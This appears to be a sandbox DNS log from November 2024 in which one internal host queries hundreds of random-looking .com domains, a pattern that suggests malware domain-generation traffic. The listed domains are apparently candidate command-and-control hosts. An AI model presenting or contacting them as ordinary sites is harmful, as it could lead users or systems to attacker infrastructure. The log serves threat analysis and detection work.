Nov 11, 2024 18:51:04.492749929 CET	192.168.2.6	1.1.1.1	0xa626	Standard query (0)	qedyqup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.493727922 CET	192.168.2.6	1.1.1.1	0x6dea	Standard query (0)	volyzef.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.513504028 CET	192.168.2.6	1.1.1.1	0x4a1e	Standard query (0)	vocycuc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.513937950 CET	192.168.2.6	1.1.1.1	0xde6d	Standard query (0)	qegyrol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.517961025 CET	192.168.2.6	1.1.1.1	0x7c64	Standard query (0)	lygyjuj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.518374920 CET	192.168.2.6	1.1.1.1	0x50ab	Standard query (0)	puvypul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.528242111 CET	192.168.2.6	1.1.1.1	0x4afd	Standard query (0)	qetynev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.528351068 CET	192.168.2.6	1.1.1.1	0x704a	Standard query (0)	lykywid.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.528460026 CET	192.168.2.6	1.1.1.1	0x40bd	Standard query (0)	vojykom.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.528821945 CET	192.168.2.6	1.1.1.1	0x5d8b	Standard query (0)	qebyxyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.528995991 CET	192.168.2.6	1.1.1.1	0x4a90	Standard query (0)	gatynes.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.529146910 CET	192.168.2.6	1.1.1.1	0x4d52	Standard query (0)	qebysul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.529284954 CET	192.168.2.6	1.1.1.1	0x2f14	Standard query (0)	lyvysur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.534964085 CET	192.168.2.6	1.1.1.1	0x4516	Standard query (0)	volyrac.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.537441969 CET	192.168.2.6	1.1.1.1	0x70f0	Standard query (0)	vowybof.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.538068056 CET	192.168.2.6	1.1.1.1	0xbe	Standard query (0)	qedyhyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.538235903 CET	192.168.2.6	1.1.1.1	0x99d6	Standard query (0)	pufywil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.538427114 CET	192.168.2.6	1.1.1.1	0x9423	Standard query (0)	gacypyz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.538582087 CET	192.168.2.6	1.1.1.1	0x8279	Standard query (0)	pumycug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.538810968 CET	192.168.2.6	1.1.1.1	0x263a	Standard query (0)	galyros.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.542630911 CET	192.168.2.6	1.1.1.1	0xfdd7	Standard query (0)	purybav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.552391052 CET	192.168.2.6	1.1.1.1	0x97c9	Standard query (0)	lysyger.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.553565025 CET	192.168.2.6	1.1.1.1	0xdd8b	Standard query (0)	qegykiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.554044008 CET	192.168.2.6	1.1.1.1	0x8cc1	Standard query (0)	vonycum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.602207899 CET	192.168.2.6	1.1.1.1	0x80c8	Standard query (0)	lyrynad.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.602524996 CET	192.168.2.6	1.1.1.1	0x891f	Standard query (0)	qekyrov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.605778933 CET	192.168.2.6	1.1.1.1	0x718	Standard query (0)	galyzeb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.618232965 CET	192.168.2.6	1.1.1.1	0xf454	Standard query (0)	vowygem.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.618561029 CET	192.168.2.6	1.1.1.1	0x4c4d	Standard query (0)	vonydik.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.618841887 CET	192.168.2.6	1.1.1.1	0xfe6c	Standard query (0)	ganydiw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.619056940 CET	192.168.2.6	1.1.1.1	0xe4d7	Standard query (0)	purygeg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.619894028 CET	192.168.2.6	1.1.1.1	0xe2d6	Standard query (0)	vocypyt.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.620178938 CET	192.168.2.6	1.1.1.1	0x4f15	Standard query (0)	gadyquz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.620969057 CET	192.168.2.6	1.1.1.1	0xc939	Standard query (0)	gacycus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.633518934 CET	192.168.2.6	1.1.1.1	0x9342	Standard query (0)	gahykih.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.633570910 CET	192.168.2.6	1.1.1.1	0x9b85	Standard query (0)	lygywor.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.633955002 CET	192.168.2.6	1.1.1.1	0xfd50	Standard query (0)	puzyxyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.634044886 CET	192.168.2.6	1.1.1.1	0x183d	Standard query (0)	qexyxuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.634124041 CET	192.168.2.6	1.1.1.1	0xa06e	Standard query (0)	pupygel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.634252071 CET	192.168.2.6	1.1.1.1	0x5255	Standard query (0)	gahyraw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.638997078 CET	192.168.2.6	1.1.1.1	0x61c2	Standard query (0)	vopymyc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.661858082 CET	192.168.2.6	1.1.1.1	0x4283	Standard query (0)	lykylan.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.663368940 CET	192.168.2.6	1.1.1.1	0x3fe8	Standard query (0)	lymyfoj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:04.669218063 CET	192.168.2.6	1.1.1.1	0x3ab7	Standard query (0)	lyxytex.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:05.034351110 CET	192.168.2.6	1.1.1.1	0xfa97	Standard query (0)	vojyquf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:05.038032055 CET	192.168.2.6	1.1.1.1	0x66a8	Standard query (0)	lyvyxyj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:05.042192936 CET	192.168.2.6	1.1.1.1	0x76de	Standard query (0)	gatyfaz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:05.042536974 CET	192.168.2.6	1.1.1.1	0x6424	Standard query (0)	pujywiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:05.051827908 CET	192.168.2.6	1.1.1.1	0x942	Standard query (0)	lysyfin.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:05.052756071 CET	192.168.2.6	1.1.1.1	0x72b3	Standard query (0)	vonyzac.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:05.137589931 CET	192.168.2.6	1.1.1.1	0x1b69	Standard query (0)	qexyriq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:05.163042068 CET	192.168.2.6	1.1.1.1	0x73ba	Standard query (0)	pufygav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:05.164978981 CET	192.168.2.6	1.1.1.1	0xac75	Standard query (0)	pumyxep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:05.184269905 CET	192.168.2.6	1.1.1.1	0xefd4	Standard query (0)	galyquw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:06.019068956 CET	192.168.2.6	1.1.1.1	0xc128	Standard query (0)	gaqycyz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.371062994 CET	192.168.2.6	1.1.1.1	0x968b	Standard query (0)	pupyboq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.495057106 CET	192.168.2.6	1.1.1.1	0xefab	Standard query (0)	qexylal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.591576099 CET	192.168.2.6	1.1.1.1	0xd7ac	Standard query (0)	purydip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.663789034 CET	192.168.2.6	1.1.1.1	0x9756	Standard query (0)	gadyneh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.753360033 CET	192.168.2.6	1.1.1.1	0xdc7b	Standard query (0)	lysynaj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.862262011 CET	192.168.2.6	1.1.1.1	0x7ab0	Standard query (0)	qekyqop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.866374969 CET	192.168.2.6	1.1.1.1	0x3b04	Standard query (0)	vonyzuf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.885425091 CET	192.168.2.6	1.1.1.1	0x8a23	Standard query (0)	lysyfyj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.899480104 CET	192.168.2.6	1.1.1.1	0x107a	Standard query (0)	lyryfyd.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.901992083 CET	192.168.2.6	1.1.1.1	0xd6f9	Standard query (0)	qedyfyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.902458906 CET	192.168.2.6	1.1.1.1	0x1d06	Standard query (0)	vowydef.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.907099009 CET	192.168.2.6	1.1.1.1	0xad91	Standard query (0)	pujyjav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.909259081 CET	192.168.2.6	1.1.1.1	0x5103	Standard query (0)	vocyruk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.911552906 CET	192.168.2.6	1.1.1.1	0xd4de	Standard query (0)	purycap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.912851095 CET	192.168.2.6	1.1.1.1	0x53a3	Standard query (0)	qetyvep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.930736065 CET	192.168.2.6	1.1.1.1	0x73c7	Standard query (0)	pufygug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.931464911 CET	192.168.2.6	1.1.1.1	0x11cb	Standard query (0)	gacyryw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.931672096 CET	192.168.2.6	1.1.1.1	0x2fd	Standard query (0)	lygygin.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.931849957 CET	192.168.2.6	1.1.1.1	0xc2c7	Standard query (0)	vowycac.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.932225943 CET	192.168.2.6	1.1.1.1	0x1733	Standard query (0)	qexyryl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.932482958 CET	192.168.2.6	1.1.1.1	0x7f42	Standard query (0)	vojyjof.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.932869911 CET	192.168.2.6	1.1.1.1	0x8406	Standard query (0)	lyxywer.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.933080912 CET	192.168.2.6	1.1.1.1	0x582e	Standard query (0)	gaqycos.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.965065002 CET	192.168.2.6	1.1.1.1	0xac14	Standard query (0)	qegyqaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.966201067 CET	192.168.2.6	1.1.1.1	0xd719	Standard query (0)	purydyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.966581106 CET	192.168.2.6	1.1.1.1	0xfafa	Standard query (0)	qexylup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:07.966834068 CET	192.168.2.6	1.1.1.1	0xbdf7	Standard query (0)	pufymoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.012837887 CET	192.168.2.6	1.1.1.1	0x3a99	Standard query (0)	gaqydeb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.085100889 CET	192.168.2.6	1.1.1.1	0x36e0	Standard query (0)	gacyzuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.192832947 CET	192.168.2.6	1.1.1.1	0x6e8f	Standard query (0)	lymysud.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.223048925 CET	192.168.2.6	1.1.1.1	0x2272	Standard query (0)	qegyqug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.316044092 CET	192.168.2.6	1.1.1.1	0xc8e3	Standard query (0)	gacyzaw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.328265905 CET	192.168.2.6	1.1.1.1	0x8770	Standard query (0)	puzywel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.328412056 CET	192.168.2.6	1.1.1.1	0xe8e8	Standard query (0)	qeqyxov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.328989029 CET	192.168.2.6	1.1.1.1	0xe425	Standard query (0)	gadyfuh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.329674959 CET	192.168.2.6	1.1.1.1	0x4ba8	Standard query (0)	volyqat.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.331176996 CET	192.168.2.6	1.1.1.1	0xaf6f	Standard query (0)	ganypih.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.520868063 CET	192.168.2.6	1.1.1.1	0xdf37	Standard query (0)	puvytuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.521030903 CET	192.168.2.6	1.1.1.1	0x36be	Standard query (0)	vofygum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.531621933 CET	192.168.2.6	1.1.1.1	0x165d	Standard query (0)	lygymyn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.550911903 CET	192.168.2.6	1.1.1.1	0x7393	Standard query (0)	lyryfox.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.554161072 CET	192.168.2.6	1.1.1.1	0x5e91	Standard query (0)	qekykup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.556030035 CET	192.168.2.6	1.1.1.1	0x4b69	Standard query (0)	puzywuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.556422949 CET	192.168.2.6	1.1.1.1	0x9479	Standard query (0)	gahyhys.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.559467077 CET	192.168.2.6	1.1.1.1	0x99f9	Standard query (0)	qetyfop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.560183048 CET	192.168.2.6	1.1.1.1	0x3fcb	Standard query (0)	vofygaf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.561152935 CET	192.168.2.6	1.1.1.1	0x463d	Standard query (0)	volyquk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.563647032 CET	192.168.2.6	1.1.1.1	0xb6d8	Standard query (0)	lygyged.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.565386057 CET	192.168.2.6	1.1.1.1	0x542b	Standard query (0)	gacyroh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.567495108 CET	192.168.2.6	1.1.1.1	0xe760	Standard query (0)	vocyrom.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.570264101 CET	192.168.2.6	1.1.1.1	0xd8e6	Standard query (0)	puvyxeq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.580462933 CET	192.168.2.6	1.1.1.1	0x8384	Standard query (0)	gahyqub.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.580841064 CET	192.168.2.6	1.1.1.1	0x5ce4	Standard query (0)	vowydic.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.580841064 CET	192.168.2.6	1.1.1.1	0x612d	Standard query (0)	pufymyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.584475040 CET	192.168.2.6	1.1.1.1	0xadc8	Standard query (0)	ganypeb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.584475040 CET	192.168.2.6	1.1.1.1	0xc284	Standard query (0)	gaqydus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.587977886 CET	192.168.2.6	1.1.1.1	0x11ff	Standard query (0)	vowycut.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.588399887 CET	192.168.2.6	1.1.1.1	0x5456	Standard query (0)	vocyzek.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.588787079 CET	192.168.2.6	1.1.1.1	0x9e6c	Standard query (0)	gatyviw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.588787079 CET	192.168.2.6	1.1.1.1	0x8c40	Standard query (0)	qetyvil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.598807096 CET	192.168.2.6	1.1.1.1	0x7cec	Standard query (0)	vofymem.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.599735975 CET	192.168.2.6	1.1.1.1	0xa4a9	Standard query (0)	lyxylor.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.600119114 CET	192.168.2.6	1.1.1.1	0x2f4a	Standard query (0)	gadyfob.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.600238085 CET	192.168.2.6	1.1.1.1	0x91a0	Standard query (0)	qeqysuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.600238085 CET	192.168.2.6	1.1.1.1	0x2b3	Standard query (0)	puzylol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.600434065 CET	192.168.2.6	1.1.1.1	0x9e5a	Standard query (0)	vojyjyc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.600759029 CET	192.168.2.6	1.1.1.1	0x62	Standard query (0)	volykit.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.601049900 CET	192.168.2.6	1.1.1.1	0xe90b	Standard query (0)	qegyhev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.601586103 CET	192.168.2.6	1.1.1.1	0xdc22	Standard query (0)	qedynaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.604738951 CET	192.168.2.6	1.1.1.1	0x6dee	Standard query (0)	purycul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.604931116 CET	192.168.2.6	1.1.1.1	0x1cfc	Standard query (0)	galykiz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.605211973 CET	192.168.2.6	1.1.1.1	0x896a	Standard query (0)	vonypyf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.605314970 CET	192.168.2.6	1.1.1.1	0xce7b	Standard query (0)	lykyjux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.605635881 CET	192.168.2.6	1.1.1.1	0x4f04	Standard query (0)	lyryvur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.605635881 CET	192.168.2.6	1.1.1.1	0x67d4	Standard query (0)	vopybok.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.605829954 CET	192.168.2.6	1.1.1.1	0xe84	Standard query (0)	pujyjup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.605829954 CET	192.168.2.6	1.1.1.1	0xf8e8	Standard query (0)	lyvytan.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.606009960 CET	192.168.2.6	1.1.1.1	0xb50	Standard query (0)	lymyxex.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.606009960 CET	192.168.2.6	1.1.1.1	0x2ab9	Standard query (0)	lyxywij.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.606311083 CET	192.168.2.6	1.1.1.1	0xf306	Standard query (0)	qeqyxyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.606311083 CET	192.168.2.6	1.1.1.1	0x4221	Standard query (0)	puvytag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.606484890 CET	192.168.2.6	1.1.1.1	0xd125	Standard query (0)	qedyfog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.606484890 CET	192.168.2.6	1.1.1.1	0x8fb2	Standard query (0)	pumypyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:08.612479925 CET	192.168.2.6	1.1.1.1	0x3e27	Standard query (0)	qebyteg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:09.100918055 CET	192.168.2.6	1.1.1.1	0xf713	Standard query (0)	gatyvyz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.323178053 CET	192.168.2.6	1.1.1.1	0xdb5d	Standard query (0)	pumyxiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.557375908 CET	192.168.2.6	1.1.1.1	0x7e35	Standard query (0)	lysynur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.557375908 CET	192.168.2.6	1.1.1.1	0x5893	Standard query (0)	qedynul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.563910961 CET	192.168.2.6	1.1.1.1	0x5cf1	Standard query (0)	lygymoj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.564131975 CET	192.168.2.6	1.1.1.1	0xd529	Standard query (0)	volykyc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.564300060 CET	192.168.2.6	1.1.1.1	0x1d17	Standard query (0)	lyvytuj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.570097923 CET	192.168.2.6	1.1.1.1	0x5e2d	Standard query (0)	lymysan.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.570377111 CET	192.168.2.6	1.1.1.1	0xb3fc	Standard query (0)	lyryvex.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.594202042 CET	192.168.2.6	1.1.1.1	0x6715	Standard query (0)	gahyhob.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.594429016 CET	192.168.2.6	1.1.1.1	0xf1f6	Standard query (0)	vofymik.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.594454050 CET	192.168.2.6	1.1.1.1	0xb6bd	Standard query (0)	qeqysag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.594691038 CET	192.168.2.6	1.1.1.1	0x8154	Standard query (0)	puvyxil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.594943047 CET	192.168.2.6	1.1.1.1	0x4631	Standard query (0)	galykes.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.595113993 CET	192.168.2.6	1.1.1.1	0xcf17	Standard query (0)	pumypog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.595292091 CET	192.168.2.6	1.1.1.1	0x7e09	Standard query (0)	qekykev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.595525980 CET	192.168.2.6	1.1.1.1	0x54a3	Standard query (0)	qebytiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.595700979 CET	192.168.2.6	1.1.1.1	0xa3d2	Standard query (0)	lyxylux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.596086025 CET	192.168.2.6	1.1.1.1	0x63b1	Standard query (0)	vopybyt.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.596328020 CET	192.168.2.6	1.1.1.1	0xd69e	Standard query (0)	lykyjad.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:10.627446890 CET	192.168.2.6	1.1.1.1	0x9de6	Standard query (0)	pupybul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.841991901 CET	192.168.2.6	1.1.1.1	0xdc62	Standard query (0)	lyvywux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.843177080 CET	192.168.2.6	1.1.1.1	0x3f98	Standard query (0)	qetyxeg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.844007969 CET	192.168.2.6	1.1.1.1	0x1933	Standard query (0)	puvywup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.855186939 CET	192.168.2.6	1.1.1.1	0x6687	Standard query (0)	lymylij.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.855288982 CET	192.168.2.6	1.1.1.1	0x6e7d	Standard query (0)	vojygok.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.866982937 CET	192.168.2.6	1.1.1.1	0xe526	Standard query (0)	gahyfow.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.871445894 CET	192.168.2.6	1.1.1.1	0x72b6	Standard query (0)	lyryxen.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.877566099 CET	192.168.2.6	1.1.1.1	0x4ad7	Standard query (0)	vocyquc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.884262085 CET	192.168.2.6	1.1.1.1	0xdf9f	Standard query (0)	qegyfil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.886809111 CET	192.168.2.6	1.1.1.1	0x7856	Standard query (0)	gacyqys.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.894273996 CET	192.168.2.6	1.1.1.1	0x88b0	Standard query (0)	lygyfir.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.895488024 CET	192.168.2.6	1.1.1.1	0xceba	Standard query (0)	vowyzam.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.901329994 CET	192.168.2.6	1.1.1.1	0xd4a2	Standard query (0)	qexyqyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.904342890 CET	192.168.2.6	1.1.1.1	0xe69	Standard query (0)	pufydul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.905749083 CET	192.168.2.6	1.1.1.1	0x4969	Standard query (0)	gaqyzoh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.907253981 CET	192.168.2.6	1.1.1.1	0x6a	Standard query (0)	qekyqyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.912337065 CET	192.168.2.6	1.1.1.1	0x645a	Standard query (0)	pujygaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.914239883 CET	192.168.2.6	1.1.1.1	0x9dc8	Standard query (0)	puzymev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:11.919830084 CET	192.168.2.6	1.1.1.1	0x34a8	Standard query (0)	qeqyloq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.185297012 CET	192.168.2.6	1.1.1.1	0xdb15	Standard query (0)	vopydum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.234761000 CET	192.168.2.6	1.1.1.1	0x4faf	Standard query (0)	gacykub.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.235008001 CET	192.168.2.6	1.1.1.1	0x4777	Standard query (0)	qegynap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.237982035 CET	192.168.2.6	1.1.1.1	0xe9ba	Standard query (0)	purypyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.245083094 CET	192.168.2.6	1.1.1.1	0x8463	Standard query (0)	gadyvis.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.245568037 CET	192.168.2.6	1.1.1.1	0xaba8	Standard query (0)	galyheh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.260066986 CET	192.168.2.6	1.1.1.1	0x5592	Standard query (0)	vofybic.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.260271072 CET	192.168.2.6	1.1.1.1	0x2762	Standard query (0)	pufybop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.260672092 CET	192.168.2.6	1.1.1.1	0x763e	Standard query (0)	lysyvud.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.261075974 CET	192.168.2.6	1.1.1.1	0x68ba	Standard query (0)	vonyrot.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:12.261475086 CET	192.168.2.6	1.1.1.1	0x2887	Standard query (0)	qexykug.com	A (IP address)	IN (0x0001)	false
